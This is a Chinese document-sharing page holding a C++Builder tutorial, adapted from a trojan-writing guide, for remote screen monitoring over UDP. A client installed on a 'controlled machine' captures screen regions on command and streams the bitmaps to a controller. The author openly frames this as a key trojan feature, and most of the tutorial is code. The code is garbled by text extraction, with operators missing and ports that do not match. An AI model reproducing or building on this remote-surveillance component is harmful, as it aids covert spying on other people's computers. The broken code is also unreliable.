版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、用UDP协议实现远程监视屏幕老妖注:这篇文档原来是用UDP协议的木马编写方法(Delphi版),为了实现真正的C+Builder研究。我将他改成了CB版。呵呵。版权的没有。木马的一个很重要的功能就是远程监视屏幕,下面的文章讲述了怎样利用UDP协议来实现,而不是我们通常用到的tcp/ip协议,很有特色,值得一学。 一、软硬件要求。 Windows95/98/2k对等网,用来监视的计算机(以下简称主控机)和被监视的计算机(以下简称受控机)都必须装有TCP/IP 协议,并正确配置。如没有网络,也可以在一台计算机上进行调试。 二、实现方法。 编制两个应用程序,一个为VClient.exe,装在受控机上
2、,另一个为VServer.exe,装在主控机上。VServer.exe指定要监视的受控机的IP地址和将要在受控机屏幕上抓取区域的大小和位置,并发出屏幕抓取指令给VClient.exe,VClient.exe得到指令后,在受控机屏幕上选取指定区域,生成数据流,将其发回主控机,并在主控机上显示出抓取区域的BMP图象。由以上过程可以看出,该方法的关键有二:一是如何在受控机上进行屏幕抓取,二是如何通过TCP/IP协议在两台计算机中传输数据。 UDP(User Datagram Protocol,意为用户报文协议)是Internet上广泛采用的通信协议之一。与TCP协议不同,它是一种非连接的传输协议,没
3、有确认机制,可靠性不如TCP,但它的效率却比TCP高,用于远程屏幕监视还是比较适合的。同时,UDP控件不区分服务器端和客户端,只区分发送端和接收端,编程上较为简单,故选用UDP协议,使用C+ Builder 6.0提供的TNMUDP控件。 三、创建演示程序。 第一步,编制VClient.exe文件。新建一个Application,将默认窗体的Name属性设为“Client”。加入TNMUDP控件,Name属性设为“CUDP”;LocalPort属性设为“1111”,让控件CUDP监视受控机的1111端口,当有数据发送到该口时,触发控件CUDP的OnDataReceived事件;RemotePo
4、rt属性设为“2222”,当控件CUDP发送数据时,将数据发到主控机的2222口。 在Unit1.h中加入变量定义 TMemoryStream *BmpStream;/将屏幕保存在流中long LeftSize;/发送每一笔数据后剩余的字节数void _fastcall TClient:ScreenCap(int LeftPos,int TopPos,int RightPos,int BottomPos);/自定义抓屏函数在Unit1.cpp中加入#define BuffSize 2048/发送每一笔数据的缓冲区大小在Client的OnCreate事件添加代码: void _fastcall
5、TClient:FormCreate(TObject *Sender)BmpStream=new TMemoryStream();在Client的OnDestroy事件添加代码: void _fastcall TClient:FormDestroy(TObject *Sender)delete BmpStream;在控件CUDP的OnDataReceived事件添加代码: void _fastcall TClient:CUDPDataReceived(TComponent *Sender,int NumberBytes, AnsiString FromIP, int Port)String C
6、trlCode;char Buf2048;String TmpStr,LeftPos,TopPos,RightPos,BottomPos;int SendSize;TMemoryStream *MyStream = new TMemoryStream();CUDP-ReadStream(MyStream);CtrlCode.SetLength(NumberBytes);MyStream-Read(&CtrlCode1, NumberBytes);/读取控制码delete MyStream;/ShowMessage(CtrlCode);if(CtrlCode.SubString(1,4)=sho
7、w)/ 控制码前4位为“show”表示主控机发出了抓屏指令if(BmpStream-Size=0)/没有数据可发,必须截屏生成数据TmpStr=CtrlCode.SubString(6,CtrlCode.Length()-5);LeftPos=TmpStr.SubString(1,TmpStr.Pos(,)-1);TmpStr=TmpStr.SubString(LeftPos.Length()+2,TmpStr.Length()-LeftPos.Length()+1);TopPos=TmpStr.SubString(1,TmpStr.Pos(,)-1);TmpStr=TmpStr.SubStr
8、ing(TopPos.Length()+2,TmpStr.Length()-TopPos.Length()+1);RightPos=TmpStr.SubString(1,TmpStr.Pos(,)-1);TmpStr=TmpStr.SubString(RightPos.Length()+2,TmpStr.Length()-RightPos.Length()+1);BottomPos=Trim(TmpStr);ScreenCap(StrToInt(LeftPos),StrToInt(TopPos),StrToInt(RightPos),StrToInt(BottomPos);/截取屏幕if(Le
9、ftSizeBufSize) SendSize=BufSize;else SendSize=LeftSize;BmpStream-ReadBuffer(Buf,SendSize);LeftSize=LeftSize-SendSize;if(LeftSize=0) BmpStream-Clear();/清空流CUDP-RemoteHost=FromIP;/FromIP为主控机IP地址CUDP-RemotePort=2222;/主控机端口CUDP-SendBuffer(Buf,SendSize,SendSize); /将数据发到主控机的2222口其中ScreenCap是自定义函数,截取屏幕指定区域
10、,代码如下: void _fastcall TClient:ScreenCap(int LeftPos,int TopPos,int RightPos,int BottomPos)int RectWidth,RectHeight;HBITMAP Bhandle;HDC SourceDC,DestDC;Graphics:TBitmap *Bitmap=new Graphics:TBitmap();RectWidth=RightPos-LeftPos;RectHeight=BottomPos-TopPos;SourceDC=CreateDC(DISPLAY,NULL);DestDC=CreateC
11、ompatibleDC(SourceDC);Bhandle=CreateCompatibleBitmap(SourceDC,RectWidth,RectHeight);SelectObject(DestDC,Bhandle);BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC,LeftPos,TopPos,SRCCOPY);Bitmap-Handle=Bhandle;Bitmap-SaveToStream(BmpStream);BmpStream-Position=0;LeftSize=BmpStream-Size;delete Bitmap;Del
12、eteDC(DestDC);ReleaseDC(Bhandle,SourceDC);存为“ClientUnit1.cpp”和“Clientclient.bpr”, 并编译。 第二步,编制VServer.exe文件。新建C+Builber工程,将窗体的Name属性设为“Server”。加入TNMUDP控件,Name属性设为“SUDP”;LocalPort属性设为“2222”,让控件SUDP监视主控机的2222端口,当有数据发送到该口时,触发控件SUDP的OnDataReceived事件;RemotePort属性设为“1111”,当控件SUDP发送数据时,将数据发到受控机的1111口。加入控件Im
13、age1,Align属性设为“alClient”;加入控件Button1,Caption属性设为“截屏”;加入控件Label1,Caption属性设为“左:上:右:下”;加入控件Edit1,Text属性设为“0:0:100:100”;加入控件Label2,Caption属性设为“受控机IP地址”;加入控件Edit2,Text属性设为“”; 在Unit1.h中加入变量定义 void _fastcall TForm1:FormCreate(TObject *Sender)TmpStream=new TMemoryStream;RsltStream=new TMemoryStrea
14、m;为Server的OnCreate事件添加代码: void _fastcall TForm1:FormDestroy(TObject *Sender)delete TmpStream;delete RsltStream;为控件Button1的OnClick事件添加代码: void _fastcall TForm1:Button1Click(TObject *Sender)String C;C=String(show )+Edit1-Text; /抓屏的参数,需要注意的是格式为:左边界,上边界,宽度,高度 例:1,1,100,100SUDP-RemoteHost=Edit2-Text;SUDP
15、-RemotePort=2223;SUDP-LocalPort=2222;SUDP-SendBuffer(C.c_str(),C.Length(),C.Length(); /这时的C.c_str()的格式应该类似于:show 1,1,100,100TmpStream-Clear();RsltStream-Clear();为控件SUDP的OnDataReceived事件添加代码: void _fastcall TForm1:SUDPDataReceived(TComponent *Sender,int NumberBytes, AnsiString FromIP, int Port)String
16、 ReqCodeStr;if(NumberBytesReadStream(TmpStream);RsltStream-CopyFrom(TmpStream,NumberBytes);if(NumberBytesPosition=0;Image1-Picture-Bitmap-LoadFromStream(RsltStream);TmpStream-Clear();RsltStream-Clear();elseTmpStream-Clear();ReqCodeStr=show;/SUDP-RemoteHost=Edit2-Text;SUDP-SendBuffer(ReqCodeStr.c_str(),30,30);存为“ServerUnit1.cpp”和“ServerServer.bpr”,并编译。 - 四、测试。 1、本地机测试:在本地机同时运行server.exe和client.exe,利用程序的默认设置,即可实现截屏
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 泰山版(新教材)小学信息科技六年级下册教学设计(全册)
- 小钢模进场检查记录
- 2026届江西省上饶市高考语文四模试卷含解析
- 26年空巢老人心理需求宣教
- 【20】《灰雀》第一课时教学备课
- 【2026】(医疗卫生类E类)事业单位考试综合应用能力北京市年复习难点精析
- 【2024】人教版七年级下册英语Unit 2 Section A 2a-2f 教学设计
- 【宁夏银川市事业单位考试职业能力倾向测验(医疗卫生类E类)备考重点(解析版)】
- 医学26年:ARDS肺保护性通气 查房课件
- 语文01卷(广东广州专用)-(全解全析)七年级下册语文期末考试
- 国家级紧急医学救援队伍建设规范
- 2024年“湖北工匠杯”全省检验检测行业职业技能大赛(农产品食品检验员)试题库(含答案)
- 第4章-动车组列车餐饮服务操作技能《高速铁路列车餐饮服务》
- 7、辽、西夏与北宋的并立
- 关于领导干部报告个人有关事项的规定全文
- 电梯井钢结构安装安全技术交底
- 耕地占补平衡用户手册
- 嘘 - 副本【经典绘本】
- 《最重要的事 只有一件》读书笔记PPT模板思维导图下载
- GB/T 20303.1-2016起重机司机室和控制站第1部分:总则
- 工会经费使用管理常见问题解答
评论
0/150
提交评论